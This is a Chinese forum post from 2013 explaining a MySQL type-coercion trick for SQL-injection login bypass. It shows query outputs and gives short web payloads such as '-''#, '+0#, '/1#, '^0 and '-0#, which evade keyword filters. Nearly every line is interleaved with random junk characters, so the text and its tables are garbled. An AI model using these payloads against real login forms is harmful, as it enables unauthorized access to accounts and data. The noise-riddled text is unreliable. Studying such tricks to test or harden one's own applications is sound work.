找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1913|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
$ ?& e( O/ }' K5 y- x* w有以下表结构: 5 H. B! ~, w! E9 ], j

  d' E: ^! a, Nmysql> desc admin;% \1 F& L5 x2 z7 R- F; x) w
+----------+--------------+------+-----+---------+----------------+% P" Q: Q- _  Y
| Field    | Type         | Null | Key | Default | Extra          |( S, i( q0 N& j3 U# I; W: _
+----------+--------------+------+-----+---------+----------------+$ a# N$ p7 ^7 i3 @
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
4 C2 @: G; j: l- y| name     | char(32)     | NO   | UNI | NULL    |                |, ~% y1 D# Y4 w; \/ C- e
| password | char(32)     | NO   | UNI | NULL    |                |9 F) U, X+ \9 [- e+ _9 ~8 u
+----------+--------------+------+-----+---------+----------------++ u& H& X& U* w' A4 e: M8 z+ f
3 rows in set (0.00 sec)# k6 _  _; _, S0 P
执行select * from admin;,成功返回所有记录内容。$ U9 B) X2 T8 S+ _3 ]
% _3 P3 V/ |8 v( M& n. ~
" s/ U4 ~# R- T: T6 _
+----+--------+----------------------------------+
0 y- S2 J5 Z) A. t6 K! x3 K| id | name   | password                         |5 t  B# d9 e% A- \
+----+--------+----------------------------------+
& `' J) l: j- ~' _+ [1 r+ R|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |) [# R6 K; _: c- ^% L+ x& k3 s/ W& t
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |0 K$ d1 i+ G' W# h, s+ d0 I& J
|  4 | n00b   | ff80e8508d39047460921792273533a4 |: y" S" T8 W" c: |2 l3 C# [
+----+--------+----------------------------------+
1 M$ c. h: ~9 q' s! R- s2 j. `3 rows in set (0.00 sec)
. w( [# i. K9 s3 u' U. g执行select * from admin where name=”;,没有匹配到任何记录。 0 A, H) ~9 {' p7 E4 h# p, P- e
' K4 g3 P" T, f7 M( U- X  u
mysql> select * from admin where name = '';$ Q  S3 {; Q: Z" D. e' ^% j
Empty set (0.00 sec)( _2 i: D1 E! E# p2 w, g
那么我们来执行select * from admin where name = ”-”;
( }8 X& R# X8 P# V( b* _4 z1 w% h" k- x4 A7 I

7 v# g# V/ e& N0 S+----+--------+----------------------------------+
6 x$ {# s( W+ K. B( M| id | name   | password                         |% f- Y9 D+ z% o5 d
+----+--------+----------------------------------+* m& r  h+ N9 B7 d
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
( |* G  i& c( r4 s# B|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |. f: Z# m5 e' m
|  4 | n00b   | ff80e8508d39047460921792273533a4 |# b3 s/ L6 q# h
+----+--------+----------------------------------+
' c, U. c2 f+ u; K3 rows in set, 3 warnings (0.00 sec)
5 `, S) N5 }. o0 j% ~可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: / m2 l$ H: \" N: ~6 X3 k

# j* U+ ?2 }% F1 M3 S) wmysql> show warnings;
; `! ?4 F# Q+ P) ]. _* [+---------+------+------------------------------------------
2 e, l2 Y* \! R1 Y  @: I5 j- n| Level   | Code | Message
% y1 O4 B9 h/ i  G% h5 ]+---------+------+------------------------------------------
2 K/ W  g/ y% t- t$ D) j( W| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
" }) D: G; P4 x3 s2 D! O3 k| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s: J& @/ d: {3 l0 N: a- F. w; c
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
; T; u$ z9 F# g( T0 j7 l+---------+------+------------------------------------------
& y0 B3 @$ a6 r) W; m- W9 f& F* U4 {3 rows in set (0.00 sec)
" k9 c+ _6 x7 B, ^, i提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 / L$ ^0 y- F6 H, L7 w" x

! \. x4 w& [0 \) r' \mysql> select ''-'';
: V9 H# N& B4 }& ~/ x+-------+2 a# r. U" M) F* j" g) z3 r! {
| ''-'' |5 s' `, d' ^% C8 J: D
+-------+" w# E% {; B3 }$ `; z" @8 u
|     0 |
. R8 h. X$ w- C5 `/ f+-------+
) t% ], C( }# I1 row in set (0.00 sec): a; I! n# V: s6 N/ X. B1 F: U% [
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
5 v* c6 I+ F- s
' V0 ?! _' o% ^0 F2 @mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
+ ?4 B! w- q: e% x9 e7 O0 ~5 s+-----------------------------------------------------+
- {( a! Q! q8 V7 b$ \4 g0 W| CAST((select name from admin limit 1,1) as DECIMAL) |9 O$ M2 P+ p; w; B5 Z  v3 ~7 m7 r( s
+-----------------------------------------------------+" R% n9 h; N9 m# J* ]5 A7 e
|                                                   0 |
2 O+ ~7 D* G8 ^& v/ j6 l+-----------------------------------------------------+
  Q4 ?, u- [: C# t  x, }1 row in set, 1 warning (0.00 sec)
' s$ i2 ^) W* P1 D+ N因此where语句构成了相等的条件,where 0=”=”,记录被返回。
1 B( a0 A  {; Z7 ^( O7 e" v" @; t8 Z. F- G
SQL注入场景: http://www.sqlzoo.net/hack/ $ J+ _3 O& \/ t9 G. B

9 A  I$ y7 M0 _9 J+ U& B0 [7 i1 n3 \9 S) D& i/ C
/ h- W* i# c1 b! M6 Q2 O, {4 [( B
4 @: `' j' h% X% j) H
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
" Y' m- b6 a  q* A/ A
, I8 q+ Q7 b; |( G; ^: i6 `那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
! f% S+ ]" L) Y6 z6 d" I3 L" y% t' V$ Q1 H% o1 G$ S7 y+ l) d) g  S% Z

) p2 z5 i# I7 e! y: v- M! d6 p
+ P: }7 v* [# d* B8 o
% \0 R1 e6 {# q+ {* [$ V仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ' N4 t/ _. N2 V* D& J& v

( D: H0 W- s( T$ c3 |   ' ^! d2 M/ a+ ^: R

' P9 ^/ X4 a: |: Y, M8 G9 W除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
1 ^1 E% O" T7 H; E* n3 H
& F7 |( z9 \( r4 t- b9 C2 S' Z$ h+ k# b
mysql> select ''/1;! H5 f$ y4 |) _( ^
+------+- d% g& F8 a- L& U( F. N
| ''/1 |
# N& |) w5 m) M, Z; `+------+: [' r  }9 ~/ b! `  c# O- @
|    0 |$ O" e; _/ C0 M
+------++ X. L" @- k+ G4 q( y7 L0 _  g
1 row in set (0.00 sec)+ B1 m" m) H* C0 ]- c
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  4 r+ ], ?/ A2 t( v0 p' r

5 R2 i% h( f; p8 K7 w0 h% p+ x利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
. |1 D6 S7 P; }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表